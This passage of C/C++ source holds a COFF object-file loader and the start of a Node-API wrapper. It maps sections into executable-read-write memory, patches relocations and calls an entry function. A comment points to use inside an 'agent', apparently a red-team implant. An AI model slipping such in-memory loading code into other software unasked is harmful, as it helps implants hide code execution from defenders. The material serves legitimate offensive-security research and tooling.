* types need to be handled, and needs to have different arguments for use
* in any agent. */
int RunCOFF(char* functionname, unsigned char* coff_data, uint32_t filesize, unsigned char* argumentdata, int argumentSize) {
//printf("argumentdata: %p\n", argumentdata);
//printf("argumentSize: %d\n", argumentSize);
coff_sect_t *coff_sect_ptr = NULL;
coff_reloc_t *coff_reloc_ptr = NULL;
int retcode = 0;
int counter = 0;
int reloccount = 0;
unsigned int tempcounter = 0;
uint32_t symptr = 0;
COFFLOADER_RETURN_VAL_IF(functionname == NULL, 1, "Function name is NULL\n");
COFFLOADER_RETURN_VAL_IF(coff_data == NULL, 1, "Can't execute NULL\n");
COFFLOADER_RETURN_VAL_IF(filesize == 0, 1, "COFF file size is 0\n");
COFFLOADER_RETURN_VAL_IF(filesize < sizeof(struct coff_file_header), 1,
"COFF file size too small for a COFF file header\n");
struct coff_file_header *coff_header_ptr = (struct coff_file_header*)coff_data;
COFFLOADER_RETURN_VAL_IF(coff_header_ptr->PointerToSymbolTable < sizeof(struct coff_file_header),
1, "COFF symbol table offset is inside the file header\n");
COFFLOADER_RETURN_VAL_IF(filesize < coff_header_ptr->PointerToSymbolTable, 1,
"COFF symbol table offset exceeds file size\n");
// Byte index of the strtab/end of symtab
size_t coff_strtab_index =
coff_header_ptr->PointerToSymbolTable + coff_header_ptr->NumberOfSymbols * sizeof(struct coff_sym);
COFFLOADER_RETURN_VAL_IF(filesize < coff_strtab_index, 1, "COFF symbol table exceeds COFF file size\n");
COFFLOADER_RETURN_VAL_IF(filesize < coff_strtab_index + sizeof(uint32_t), 1,
"COFF string table offset exceeds COFF file size\n");
uint32_t coff_strtab_size = *(uint32_t*)(coff_data + coff_strtab_index);
COFFLOADER_RETURN_VAL_IF(filesize < coff_strtab_index + coff_strtab_size, 1,
"COFF string table exceeds COFF file size\n");
COFFLOADER_RETURN_VAL_IF(filesize != coff_strtab_index + coff_strtab_size, 1,
"COFF file contains extraneous data\n");
struct coff_sym *coff_sym_ptr = (struct coff_sym*)(coff_data + coff_header_ptr->PointerToSymbolTable);
#ifdef _WIN32
void* funcptrlocation = NULL;
size_t offsetvalue = 0;
#endif
char* entryfuncname = functionname;
#if defined(__x86_64__) || defined(_WIN64)
#ifdef _WIN32
uint64_t longoffsetvalue = 0;
#endif
#else
/* Set the input function name to match the 32 bit version */
entryfuncname = (char*) calloc(strlen(functionname) + 2, 1);
if (entryfuncname == NULL) {
return 1;
}
(void)sprintf((char*)entryfuncname, "_%s", functionname);
#endif
HMODULE kern = GetModuleHandleA("kernel32.dll");
InternalFunctions[29][1] = (unsigned char *) GetProcAddress(kern, "__C_specific_handler");
DEBUG_PRINT("found address of %x\n", InternalFunctions[29][1]);
#ifdef _WIN32
/* NOTE: I just picked a size, look to see what is max/normal. */
char** sectionMapping = NULL;
#ifdef DEBUG
int *sectionSize = NULL;
#endif
void(*foo)(char* in, unsigned long datalen);
char* functionMapping = NULL;
int functionMappingCount = 0;
int relocationCount = 0;
#endif
DEBUG_PRINT("Machine 0x%X\n", coff_header_ptr->Machine);
DEBUG_PRINT("Number of sections: %d\n", coff_header_ptr->NumberOfSections);
DEBUG_PRINT("TimeDateStamp : %X\n", coff_header_ptr->TimeDateStamp);
DEBUG_PRINT("PointerToSymbolTable : 0x%X\n", coff_header_ptr->PointerToSymbolTable);
DEBUG_PRINT("NumberOfSymbols: %u\n", coff_header_ptr->NumberOfSymbols);
DEBUG_PRINT("OptionalHeaderSize: %d\n", coff_header_ptr->SizeOfOptionalHeader);
DEBUG_PRINT("Characteristics: %d\n", coff_header_ptr->Characteristics);
DEBUG_PRINT("\n");
/* Actually allocate an array to keep track of the sections */
sectionMapping = (char**)calloc(sizeof(char*)*(coff_header_ptr->NumberOfSections+1), 1);
#ifdef DEBUG
sectionSize = (int*)calloc(sizeof(int)*(coff_header_ptr->NumberOfSections+1), 1);
#endif
if (sectionMapping == NULL){
DEBUG_PRINT("Failed to allocate sectionMapping\n");
goto cleanup;
}
/* Handle the allocation and copying of the sections we're going to use
* for right now I'm just VirtualAlloc'ing memory, this can be changed to
* other methods, but leaving that up to the person implementing it. */
for (counter = 0; counter < coff_header_ptr->NumberOfSections; counter++) {
coff_sect_ptr = (coff_sect_t*)(coff_data + sizeof(coff_file_header_t) + (sizeof(coff_sect_t) * counter));
DEBUG_PRINT("Name: %s\n", coff_sect_ptr->Name);
DEBUG_PRINT("VirtualSize: 0x%X\n", coff_sect_ptr->VirtualSize);
DEBUG_PRINT("VirtualAddress: 0x%X\n", coff_sect_ptr->VirtualAddress);
DEBUG_PRINT("SizeOfRawData: 0x%X\n", coff_sect_ptr->SizeOfRawData);
DEBUG_PRINT("PointerToRelocations: 0x%X\n", coff_sect_ptr->PointerToRelocations);
DEBUG_PRINT("PointerToRawData: 0x%X\n", coff_sect_ptr->PointerToRawData);
DEBUG_PRINT("NumberOfRelocations: %d\n", coff_sect_ptr->NumberOfRelocations);
relocationCount += coff_sect_ptr->NumberOfRelocations;
/* NOTE: When changing the memory loading information of the loader,
* you'll want to use this field and the defines from the Section
* Flags table of Microsofts page, some defined in COFFLoader.h */
DEBUG_PRINT("Characteristics: %x\n", coff_sect_ptr->Characteristics);
#ifdef _WIN32
DEBUG_PRINT("Allocating 0x%x bytes\n", coff_sect_ptr->VirtualSize);
/* NOTE: Might want to allocate as PAGE_READWRITE and VirtualProtect
* before execution to either PAGE_READWRITE or PAGE_EXECUTE_READ
* depending on the Section Characteristics. Parse them all again
* before running and set the memory permissions. */
sectionMapping[counter] = (char*) VirtualAlloc(NULL, coff_sect_ptr->SizeOfRawData, MEM_COMMIT | MEM_RESERVE | MEM_TOP_DOWN, PAGE_EXECUTE_READWRITE);
#ifdef DEBUG
sectionSize[counter] = coff_sect_ptr->SizeOfRawData;
#endif
if (sectionMapping[counter] == NULL) {
DEBUG_PRINT("Failed to allocate memory\n");
}
DEBUG_PRINT("Allocated section %d at %p\n", counter, sectionMapping[counter]);
if (coff_sect_ptr->PointerToRawData != 0){
memcpy(sectionMapping[counter], coff_data + coff_sect_ptr->PointerToRawData, coff_sect_ptr->SizeOfRawData);
}
else{
memset(sectionMapping[counter], 0, coff_sect_ptr->SizeOfRawData);
}
#endif
}
DEBUG_PRINT("Total Relocations: %d\n", relocationCount);
/* Allocate and setup the GOT for functions, same here as above. */
/* Actually allocate enough for worst case every relocation, may not be needed, but hey better safe than sorry */
#ifdef _WIN32
#ifdef _WIN64
functionMapping = (char*) VirtualAlloc(NULL, relocationCount*8, MEM_COMMIT | MEM_RESERVE | MEM_TOP_DOWN, PAGE_EXECUTE_READWRITE);
#else
functionMapping = (char*) VirtualAlloc(NULL, relocationCount*8, MEM_COMMIT | MEM_RESERVE | MEM_TOP_DOWN, PAGE_EXECUTE_READWRITE);
#endif
if (functionMapping == NULL){
DEBUG_PRINT("Failed to allocate functionMapping\n");
goto cleanup;
}
#endif
/* Start parsing the relocations, and *hopefully* handle them correctly. */
for (counter = 0; counter < coff_header_ptr->NumberOfSections; counter++) {
DEBUG_PRINT("Doing Relocations of section: %d\n", counter);
coff_sect_ptr = (coff_sect_t*)(coff_data + sizeof(coff_file_header_t) + (sizeof(coff_sect_t) * counter));
coff_reloc_ptr = (coff_reloc_t*)(coff_data + coff_sect_ptr->PointerToRelocations);
for (reloccount = 0; reloccount < coff_sect_ptr->NumberOfRelocations; reloccount++) {
DEBUG_PRINT("\tVirtualAddress: 0x%X\n", coff_reloc_ptr->VirtualAddress);
DEBUG_PRINT("\tSymbolTableIndex: 0x%X\n", coff_reloc_ptr->SymbolTableIndex);
DEBUG_PRINT("\tType: 0x%X\n", coff_reloc_ptr->Type);
if (coff_sym_ptr[coff_reloc_ptr->SymbolTableIndex].first.Name[0] != 0) {
symptr = coff_sym_ptr[coff_reloc_ptr->SymbolTableIndex].first.value[1];
DEBUG_PRINT("\tSymPtr: 0x%X\n", symptr);
DEBUG_PRINT("\tSymName: %s\n", coff_sym_ptr[coff_reloc_ptr->SymbolTableIndex].first.Name);
DEBUG_PRINT("\tSectionNumber: 0x%X\n", coff_sym_ptr[coff_reloc_ptr->SymbolTableIndex].SectionNumber);
/* This is the code for relative offsets in other sections of the COFF file. */
#ifdef _WIN32
#ifdef _WIN64
/* Type == 1 relocation is the 64-bit VA of the relocation target */
if (coff_reloc_ptr->Type == IMAGE_REL_AMD64_ADDR64) {
memcpy(&longoffsetvalue, sectionMapping[counter] + coff_reloc_ptr->VirtualAddress, sizeof(uint64_t));
DEBUG_PRINT("\tReadin longOffsetValue : 0x%llX\n", longoffsetvalue);
longoffsetvalue = (uint64_t)(sectionMapping[coff_sym_ptr[coff_reloc_ptr->SymbolTableIndex].SectionNumber - 1] + (uint64_t)longoffsetvalue);
longoffsetvalue += coff_sym_ptr[coff_reloc_ptr->SymbolTableIndex].Value;
DEBUG_PRINT("\tModified longOffsetValue : 0x%llX Base Address: %p\n", longoffsetvalue, sectionMapping[coff_sym_ptr[coff_reloc_ptr->SymbolTableIndex].SectionNumber - 1]);
memcpy(sectionMapping[counter] + coff_reloc_ptr->VirtualAddress, &longoffsetvalue, sizeof(uint64_t));
}
/* This is Type == 3 relocation code */
else if (coff_reloc_ptr->Type == IMAGE_REL_AMD64_ADDR32NB) {
memcpy(&offsetvalue, sectionMapping[counter] + coff_reloc_ptr->VirtualAddress, sizeof(int32_t));
DEBUG_PRINT("\tReadin OffsetValue : 0x%0X\n", offsetvalue);
DEBUG_PRINT("\t\tReferenced Section: 0x%X\n", sectionMapping[coff_sym_ptr[coff_reloc_ptr->SymbolTableIndex].SectionNumber - 1] + offsetvalue);
DEBUG_PRINT("\t\tEnd of Relocation Bytes: 0x%X\n", sectionMapping[counter] + coff_reloc_ptr->VirtualAddress + 4);
if (((char*)(sectionMapping[coff_sym_ptr[coff_reloc_ptr->SymbolTableIndex].SectionNumber - 1] + offsetvalue) - (char*)(sectionMapping[counter] + coff_reloc_ptr->VirtualAddress + 4)) > 0xffffffff) {
DEBUG_PRINT("Relocations > 4 gigs away, exiting\n");
retcode = 1;
goto cleanup;
}
offsetvalue = ((char*)(sectionMapping[coff_sym_ptr[coff_reloc_ptr->SymbolTableIndex].SectionNumber - 1] + offsetvalue) - (char*)(sectionMapping[counter] + coff_reloc_ptr->VirtualAddress + 4));
offsetvalue += coff_sym_ptr[coff_reloc_ptr->SymbolTableIndex].Value;
DEBUG_PRINT("\tSetting 0x%p to OffsetValue: 0x%X\n", sectionMapping[counter] + coff_reloc_ptr->VirtualAddress, offsetvalue);
memcpy(sectionMapping[counter] + coff_reloc_ptr->VirtualAddress, &offsetvalue, sizeof(uint32_t));
}
/* This is Type == 4 relocation code, needed to make global variables to work correctly */
else if (coff_reloc_ptr->Type == IMAGE_REL_AMD64_REL32) {
memcpy(&offsetvalue, sectionMapping[counter] + coff_reloc_ptr->VirtualAddress, sizeof(int32_t));
DEBUG_PRINT("\t\tReadin offset value: 0x%X\n", offsetvalue);
if ((sectionMapping[coff_sym_ptr[coff_reloc_ptr->SymbolTableIndex].SectionNumber - 1] - (sectionMapping[counter] + coff_reloc_ptr->VirtualAddress + 4)) > 0xffffffff) {
DEBUG_PRINT("Relocations > 4 gigs away, exiting\n");
retcode = 1;
goto cleanup;
}
offsetvalue += (sectionMapping[coff_sym_ptr[coff_reloc_ptr->SymbolTableIndex].SectionNumber - 1] - (sectionMapping[counter] + coff_reloc_ptr->VirtualAddress + 4));
offsetvalue += coff_sym_ptr[coff_reloc_ptr->SymbolTableIndex].Value;
DEBUG_PRINT("\t\tSetting 0x%p to relative address: 0x%X\n", sectionMapping[counter] + coff_reloc_ptr->VirtualAddress, offsetvalue);
memcpy(sectionMapping[counter] + coff_reloc_ptr->VirtualAddress, &offsetvalue, sizeof(uint32_t));
}
else if (coff_reloc_ptr->Type == IMAGE_REL_AMD64_REL32_1) {
memcpy(&offsetvalue, sectionMapping[counter] + coff_reloc_ptr->VirtualAddress, sizeof(int32_t));
DEBUG_PRINT("\t\tReadin offset value: 0x%X\n", offsetvalue);
if ((sectionMapping[coff_sym_ptr[coff_reloc_ptr->SymbolTableIndex].SectionNumber - 1] - (sectionMapping[counter] + coff_reloc_ptr->VirtualAddress + 4)) > 0xffffffff) {
DEBUG_PRINT("Relocations > 4 gigs away, exiting\n");
retcode = 1;
goto cleanup;
}
offsetvalue += (sectionMapping[coff_sym_ptr[coff_reloc_ptr->SymbolTableIndex].SectionNumber - 1] - (sectionMapping[counter] + coff_reloc_ptr->VirtualAddress + 4));
offsetvalue += coff_sym_ptr[coff_reloc_ptr->SymbolTableIndex].Value;
offsetvalue += 1;
DEBUG_PRINT("\t\tSetting 0x%p to relative address: 0x%X\n", sectionMapping[counter] + coff_reloc_ptr->VirtualAddress, offsetvalue);
memcpy(sectionMapping[counter] + coff_reloc_ptr->VirtualAddress, &offsetvalue, sizeof(uint32_t));
}
else if (coff_reloc_ptr->Type == IMAGE_REL_AMD64_REL32_2) {
memcpy(&offsetvalue, sectionMapping[counter] + coff_reloc_ptr->VirtualAddress, sizeof(int32_t));
DEBUG_PRINT("\t\tReadin offset value: 0x%X\n", offsetvalue);
if ((sectionMapping[coff_sym_ptr[coff_reloc_ptr->SymbolTableIndex].SectionNumber - 1] - (sectionMapping[counter] + coff_reloc_ptr->VirtualAddress + 4)) > 0xffffffff) {
DEBUG_PRINT("Relocations > 4 gigs away, exiting\n");
retcode = 1;
goto cleanup;
}
offsetvalue += (sectionMapping[coff_sym_ptr[coff_reloc_ptr->SymbolTableIndex].SectionNumber - 1] - (sectionMapping[counter] + coff_reloc_ptr->VirtualAddress + 4));
offsetvalue += coff_sym_ptr[coff_reloc_ptr->SymbolTableIndex].Value;
offsetvalue += 2;
DEBUG_PRINT("\t\tSetting 0x%p to relative address: 0x%X\n", sectionMapping[counter] + coff_reloc_ptr->VirtualAddress, offsetvalue);
memcpy(sectionMapping[counter] + coff_reloc_ptr->VirtualAddress, &offsetvalue, sizeof(uint32_t));
}
else if (coff_reloc_ptr->Type == IMAGE_REL_AMD64_REL32_3) {
memcpy(&offsetvalue, sectionMapping[counter] + coff_reloc_ptr->VirtualAddress, sizeof(int32_t));
DEBUG_PRINT("\t\tReadin offset value: 0x%X\n", offsetvalue);
if ((sectionMapping[coff_sym_ptr[coff_reloc_ptr->SymbolTableIndex].SectionNumber - 1] - (sectionMapping[counter] + coff_reloc_ptr->VirtualAddress + 4)) > 0xffffffff) {
DEBUG_PRINT("Relocations > 4 gigs away, exiting\n");
retcode = 1;
goto cleanup;
}
offsetvalue += (sectionMapping[coff_sym_ptr[coff_reloc_ptr->SymbolTableIndex].SectionNumber - 1] - (sectionMapping[counter] + coff_reloc_ptr->VirtualAddress + 4));
offsetvalue += coff_sym_ptr[coff_reloc_ptr->SymbolTableIndex].Value;
offsetvalue += 3;
DEBUG_PRINT("\t\tSetting 0x%p to relative address: 0x%X\n", sectionMapping[counter] + coff_reloc_ptr->VirtualAddress, offsetvalue);
memcpy(sectionMapping[counter] + coff_reloc_ptr->VirtualAddress, &offsetvalue, sizeof(uint32_t));
}
else if (coff_reloc_ptr->Type == IMAGE_REL_AMD64_REL32_4) {
memcpy(&offsetvalue, sectionMapping[counter] + coff_reloc_ptr->VirtualAddress, sizeof(int32_t));
DEBUG_PRINT("\t\tReadin offset value: 0x%X\n", offsetvalue);
if ((sectionMapping[coff_sym_ptr[coff_reloc_ptr->SymbolTableIndex].SectionNumber - 1] - (sectionMapping[counter] + coff_reloc_ptr->VirtualAddress + 4)) > 0xffffffff) {
DEBUG_PRINT("Relocations > 4 gigs away, exiting\n");
retcode = 1;
goto cleanup;
}
offsetvalue += (sectionMapping[coff_sym_ptr[coff_reloc_ptr->SymbolTableIndex].SectionNumber - 1] - (sectionMapping[counter] + coff_reloc_ptr->VirtualAddress + 4));
offsetvalue += coff_sym_ptr[coff_reloc_ptr->SymbolTableIndex].Value;
offsetvalue += 4;
DEBUG_PRINT("\t\tSetting 0x%p to relative address: 0x%X\n", sectionMapping[counter] + coff_reloc_ptr->VirtualAddress, offsetvalue);
memcpy(sectionMapping[counter] + coff_reloc_ptr->VirtualAddress, &offsetvalue, sizeof(uint32_t));
}
else if (coff_reloc_ptr->Type == IMAGE_REL_AMD64_REL32_5) {
memcpy(&offsetvalue, sectionMapping[counter] + coff_reloc_ptr->VirtualAddress, sizeof(int32_t));
DEBUG_PRINT("\t\tReadin offset value: 0x%X\n", offsetvalue);
if ((sectionMapping[coff_sym_ptr[coff_reloc_ptr->SymbolTableIndex].SectionNumber - 1] - (sectionMapping[counter] + coff_reloc_ptr->VirtualAddress + 4)) > 0xffffffff) {
DEBUG_PRINT("Relocations > 4 gigs away, exiting\n");
retcode = 1;
goto cleanup;
}
offsetvalue += (sectionMapping[coff_sym_ptr[coff_reloc_ptr->SymbolTableIndex].SectionNumber - 1] - (sectionMapping[counter] + coff_reloc_ptr->VirtualAddress + 4));
offsetvalue += coff_sym_ptr[coff_reloc_ptr->SymbolTableIndex].Value;
offsetvalue += 5;
DEBUG_PRINT("\t\tSetting 0x%p to relative address: 0x%X\n", sectionMapping[counter] + coff_reloc_ptr->VirtualAddress, offsetvalue);
memcpy(sectionMapping[counter] + coff_reloc_ptr->VirtualAddress, &offsetvalue, sizeof(uint32_t));
}
else {
DEBUG_PRINT("No code for relocation type: %d\n", coff_reloc_ptr->Type);
}
#else
/* This is Type == IMAGE_REL_I386_DIR32 relocation code */
if (coff_reloc_ptr->Type == IMAGE_REL_I386_DIR32){
memcpy(&offsetvalue, sectionMapping[counter] + coff_reloc_ptr->VirtualAddress, sizeof(int32_t));
DEBUG_PRINT("\tReadin OffsetValue : 0x%0X\n", offsetvalue);
offsetvalue = (uint32_t)(sectionMapping[coff_sym_ptr[coff_reloc_ptr->SymbolTableIndex].SectionNumber - 1]) + offsetvalue;
offsetvalue += coff_sym_ptr[coff_reloc_ptr->SymbolTableIndex].Value;
DEBUG_PRINT("\tSetting 0x%p to: 0x%X\n", sectionMapping[counter] + coff_reloc_ptr->VirtualAddress, offsetvalue);
memcpy(sectionMapping[counter] + coff_reloc_ptr->VirtualAddress, &offsetvalue, sizeof(uint32_t));
}
else if (coff_reloc_ptr->Type == IMAGE_REL_I386_REL32){
memcpy(&offsetvalue, sectionMapping[counter] + coff_reloc_ptr->VirtualAddress, sizeof(int32_t));
DEBUG_PRINT("\tReadin OffsetValue : 0x%0X\n", offsetvalue);
offsetvalue += (sectionMapping[coff_sym_ptr[coff_reloc_ptr->SymbolTableIndex].SectionNumber - 1] - (sectionMapping[counter] + coff_reloc_ptr->VirtualAddress + 4));
offsetvalue += coff_sym_ptr[coff_reloc_ptr->SymbolTableIndex].Value;
DEBUG_PRINT("\tSetting 0x%p to relative address: 0x%X\n", sectionMapping[counter] + coff_reloc_ptr->VirtualAddress, offsetvalue);
memcpy(sectionMapping[counter] + coff_reloc_ptr->VirtualAddress, &offsetvalue, sizeof(uint32_t));
}
#endif //WIN64 statement close
#endif //WIN32 statement close
}
else {
symptr = coff_sym_ptr[coff_reloc_ptr->SymbolTableIndex].first.value[1];
DEBUG_PRINT("\tSymPtr: 0x%X\n", symptr);
DEBUG_PRINT("\tSymVal: %s\n", ((char*)(coff_sym_ptr + coff_header_ptr->NumberOfSymbols)) + symptr);
DEBUG_PRINT("\tSectionNumber: 0x%X\n", coff_sym_ptr[coff_reloc_ptr->SymbolTableIndex].SectionNumber);
/* This is the code to handle functions themselves, so using a makeshift Global Offset Table for it */
#ifdef _WIN32
funcptrlocation = process_symbol(((char*)(coff_sym_ptr + coff_header_ptr->NumberOfSymbols)) + symptr);
if (funcptrlocation == NULL && coff_sym_ptr[coff_reloc_ptr->SymbolTableIndex].SectionNumber == 0) {
DEBUG_PRINT("Failed to resolve symbol\n");
retcode = 1;
goto cleanup;
}
#ifdef _WIN64
if (coff_reloc_ptr->Type == IMAGE_REL_AMD64_ADDR64) {
memcpy(&longoffsetvalue, sectionMapping[counter] + coff_reloc_ptr->VirtualAddress, sizeof(uint64_t));
DEBUG_PRINT("\tReadin longOffsetValue : 0x%llX\n", longoffsetvalue);
longoffsetvalue = (uint64_t)(sectionMapping[coff_sym_ptr[coff_reloc_ptr->SymbolTableIndex].SectionNumber - 1] + (uint64_t)longoffsetvalue);
longoffsetvalue += coff_sym_ptr[coff_reloc_ptr->SymbolTableIndex].Value;
DEBUG_PRINT("\tModified longOffsetValue : 0x%llX Base Address: %p\n", longoffsetvalue, sectionMapping[coff_sym_ptr[coff_reloc_ptr->SymbolTableIndex].SectionNumber - 1]);
memcpy(sectionMapping[counter] + coff_reloc_ptr->VirtualAddress, &longoffsetvalue, sizeof(uint64_t));
}
else if (coff_reloc_ptr->Type == IMAGE_REL_AMD64_REL32 && funcptrlocation != NULL) {
/* This is Type == 4 relocation code */
DEBUG_PRINT("Doing function relocation\n");
if (((functionMapping + (functionMappingCount * 8)) - (sectionMapping[counter] + coff_reloc_ptr->VirtualAddress + 4)) > 0xffffffff) {
DEBUG_PRINT("Relocations > 4 gigs away, exiting\n");
retcode = 1;
goto cleanup;
}
memcpy(functionMapping + (functionMappingCount * 8), &funcptrlocation, sizeof(uint64_t));
offsetvalue = (int32_t)((functionMapping + (functionMappingCount * 8)) - (sectionMapping[counter] + coff_reloc_ptr->VirtualAddress + 4));
offsetvalue += coff_sym_ptr[coff_reloc_ptr->SymbolTableIndex].Value;
DEBUG_PRINT("\t\tSetting 0x%p to relative address: 0x%X\n", sectionMapping[counter] + coff_reloc_ptr->VirtualAddress, offsetvalue);
memcpy(sectionMapping[counter] + coff_reloc_ptr->VirtualAddress, &offsetvalue, sizeof(uint32_t));
functionMappingCount++;
}
else if (coff_reloc_ptr->Type == IMAGE_REL_AMD64_REL32) {
/* This shouldn't be needed here, but incase there's a defined symbol
* that somehow doesn't have a function, try to resolve it here.*/
memcpy(&offsetvalue, sectionMapping[counter] + coff_reloc_ptr->VirtualAddress, sizeof(int32_t));
if ((sectionMapping[coff_sym_ptr[coff_reloc_ptr->SymbolTableIndex].SectionNumber - 1] - (sectionMapping[counter] + coff_reloc_ptr->VirtualAddress + 4)) > 0xffffffff) {
DEBUG_PRINT("Relocations > 4 gigs away, exiting\n");
retcode = 1;
goto cleanup;
}
DEBUG_PRINT("\t\tReferenced Section: 0x%X\n", sectionMapping[coff_sym_ptr[coff_reloc_ptr->SymbolTableIndex].SectionNumber - 1] + offsetvalue);
DEBUG_PRINT("\t\tReadin offset value: 0x%X\n", offsetvalue);
DEBUG_PRINT("\t\tVirtualAddressOffset: 0x%X\n", (sectionMapping[counter] + coff_reloc_ptr->VirtualAddress + 4));
offsetvalue += (sectionMapping[coff_sym_ptr[coff_reloc_ptr->SymbolTableIndex].SectionNumber - 1] - (sectionMapping[counter] + coff_reloc_ptr->VirtualAddress + 4));
offsetvalue += coff_sym_ptr[coff_reloc_ptr->SymbolTableIndex].Value;
DEBUG_PRINT("\t\tSetting 0x%p to relative address: 0x%X\n", sectionMapping[counter] + coff_reloc_ptr->VirtualAddress, offsetvalue);
memcpy(sectionMapping[counter] + coff_reloc_ptr->VirtualAddress, &offsetvalue, sizeof(uint32_t));
}
else if (coff_reloc_ptr->Type == IMAGE_REL_AMD64_ADDR32NB) {
memcpy(&offsetvalue, sectionMapping[counter] + coff_reloc_ptr->VirtualAddress, sizeof(int32_t));
DEBUG_PRINT("\tReadin OffsetValue : 0x%0X\n", offsetvalue);
DEBUG_PRINT("\t\tReferenced Section: 0x%X\n", sectionMapping[coff_sym_ptr[coff_reloc_ptr->SymbolTableIndex].SectionNumber - 1] + offsetvalue);
DEBUG_PRINT("\t\tEnd of Relocation Bytes: 0x%X\n", sectionMapping[counter] + coff_reloc_ptr->VirtualAddress + 4);
if (((char*)(sectionMapping[coff_sym_ptr[coff_reloc_ptr->SymbolTableIndex].SectionNumber - 1] + offsetvalue) - (char*)(sectionMapping[counter] + coff_reloc_ptr->VirtualAddress + 4)) > 0xffffffff) {
DEBUG_PRINT("Relocations > 4 gigs away, exiting\n");
retcode = 1;
goto cleanup;
}
offsetvalue = ((char*)(sectionMapping[coff_sym_ptr[coff_reloc_ptr->SymbolTableIndex].SectionNumber - 1] + offsetvalue) - (char*)(sectionMapping[counter] + coff_reloc_ptr->VirtualAddress + 4));
offsetvalue += coff_sym_ptr[coff_reloc_ptr->SymbolTableIndex].Value;
DEBUG_PRINT("\tSetting 0x%p to OffsetValue: 0x%X\n", sectionMapping[counter] + coff_reloc_ptr->VirtualAddress, offsetvalue);
memcpy(sectionMapping[counter] + coff_reloc_ptr->VirtualAddress, &offsetvalue, sizeof(uint32_t));
}
else {
DEBUG_PRINT("No code for relocation type: %d\n", coff_reloc_ptr->Type);
}
#else
if (coff_reloc_ptr->Type == IMAGE_REL_I386_DIR32 && funcptrlocation != NULL){
/* This is Type == IMAGE_REL_I386_DIR32 relocation code */
memcpy(functionMapping + (functionMappingCount * 4), &funcptrlocation, sizeof(uint32_t));
offsetvalue = (int32_t)(functionMapping + (functionMappingCount * 4));
DEBUG_PRINT("\tSetting 0x%p to virtual address: 0x%X\n", sectionMapping[counter] + coff_reloc_ptr->VirtualAddress, offsetvalue);
memcpy(sectionMapping[counter] + coff_reloc_ptr->VirtualAddress, &offsetvalue, sizeof(uint32_t));
functionMappingCount++;
}
else if (coff_reloc_ptr->Type == IMAGE_REL_I386_DIR32) {
memcpy(&offsetvalue, sectionMapping[counter] + coff_reloc_ptr->VirtualAddress, sizeof(int32_t));
DEBUG_PRINT("\tReadin OffsetValue : 0x%0X\n", offsetvalue);
offsetvalue = (uint32_t)(sectionMapping[coff_sym_ptr[coff_reloc_ptr->SymbolTableIndex].SectionNumber - 1]) + offsetvalue;
offsetvalue += coff_sym_ptr[coff_reloc_ptr->SymbolTableIndex].Value;
DEBUG_PRINT("\tSetting 0x%p to virtual address: 0x%X\n", sectionMapping[counter] + coff_reloc_ptr->VirtualAddress, offsetvalue);
memcpy(sectionMapping[counter] + coff_reloc_ptr->VirtualAddress, &offsetvalue, sizeof(uint32_t));
}
else if (coff_reloc_ptr->Type == IMAGE_REL_I386_REL32){
memcpy(&offsetvalue, sectionMapping[counter] + coff_reloc_ptr->VirtualAddress, sizeof(int32_t));
DEBUG_PRINT("\tReadin OffsetValue : 0x%0X\n", offsetvalue);
offsetvalue += (sectionMapping[coff_sym_ptr[coff_reloc_ptr->SymbolTableIndex].SectionNumber - 1] - (sectionMapping[counter] + coff_reloc_ptr->VirtualAddress + 4));
offsetvalue += coff_sym_ptr[coff_reloc_ptr->SymbolTableIndex].Value;
DEBUG_PRINT("\tSetting 0x%p to relative address: 0x%X\n", sectionMapping[counter] + coff_reloc_ptr->VirtualAddress, offsetvalue);
memcpy(sectionMapping[counter] + coff_reloc_ptr->VirtualAddress, &offsetvalue, sizeof(uint32_t));
}
else {
DEBUG_PRINT("No code for relocation type: %d\n", coff_reloc_ptr->Type);
}
#endif
#endif
}
DEBUG_PRINT("\tValueNumber: 0x%X\n", coff_sym_ptr[coff_reloc_ptr->SymbolTableIndex].Value);
DEBUG_PRINT("\tSectionNumber: 0x%X\n", coff_sym_ptr[coff_reloc_ptr->SymbolTableIndex].SectionNumber);
coff_reloc_ptr = (coff_reloc_t*)(((char*)coff_reloc_ptr) + sizeof(coff_reloc_t));
DEBUG_PRINT("\n");
}
DEBUG_PRINT("\n");
}
/* Some debugging code to see what the sections look like in memory */
#if DEBUG
#ifdef _WIN32
for (tempcounter = 0; tempcounter < coff_header_ptr->NumberOfSections; tempcounter++) {
DEBUG_PRINT("Section: %u\n", tempcounter);
if (sectionMapping[tempcounter] != NULL) {
DEBUG_PRINT("\t");
for (counter = 0; counter < sectionSize[tempcounter]; counter++) {
DEBUG_PRINT("%02X ", (uint8_t)(sectionMapping[tempcounter][counter]));
}
DEBUG_PRINT("\n");
}
}
#endif
#endif
DEBUG_PRINT("Symbols:\n");
for (tempcounter = 0; tempcounter < coff_header_ptr->NumberOfSymbols; tempcounter++) {
DEBUG_PRINT("\t%s: Section: %d, Value: 0x%X\n", coff_sym_ptr[tempcounter].first.Name, coff_sym_ptr[tempcounter].SectionNumber, coff_sym_ptr[tempcounter].Value);
if (strcmp(coff_sym_ptr[tempcounter].first.Name, entryfuncname) == 0) {
DEBUG_PRINT("\t\tFound entry!\n");
#ifdef _WIN32
/* So for some reason VS 2017 doesn't like this, but char* casting works, so just going to do that */
#ifdef _MSC_VER
foo = (void(__cdecl*)(char*, unsigned long))(sectionMapping[coff_sym_ptr[tempcounter].SectionNumber - 1] + coff_sym_ptr[tempcounter].Value);
#else
foo = (void(*)(char *, unsigned long))(sectionMapping[coff_sym_ptr[tempcounter].SectionNumber - 1] + coff_sym_ptr[tempcounter].Value);
#endif
//sectionMapping[coff_sym_ptr[tempcounter].SectionNumber-1][coff_sym_ptr[tempcounter].Value+7] = '\xcc';
DEBUG_PRINT("Trying to run: %p\n", foo);
foo((char*)argumentdata, argumentSize);
#endif
}
}
DEBUG_PRINT("Back\n");
/* Cleanup the allocated memory */
#ifdef _WIN32
cleanup :
if (sectionMapping){
for (tempcounter = 0; tempcounter < coff_header_ptr->NumberOfSections; tempcounter++) {
if (sectionMapping[tempcounter]) {
VirtualFree(sectionMapping[tempcounter], 0, MEM_RELEASE);
}
}
free(sectionMapping);
sectionMapping = NULL;
}
#ifdef DEBUG
if (sectionSize){
free(sectionSize);
sectionSize = NULL;
}
#endif
if (functionMapping){
VirtualFree(functionMapping, 0, MEM_RELEASE);
}
#endif
if (entryfuncname && entryfuncname != functionname){
free(entryfuncname);
}
DEBUG_PRINT("Returning\n");
return retcode;
}
// Node-API wrapper for RunCOFF
Napi::Value RunCOFFWrapper(const Napi::CallbackInfo& info) {
Napi::Env env = info.Env();
// Check arguments
if (info.Length() < 4) {
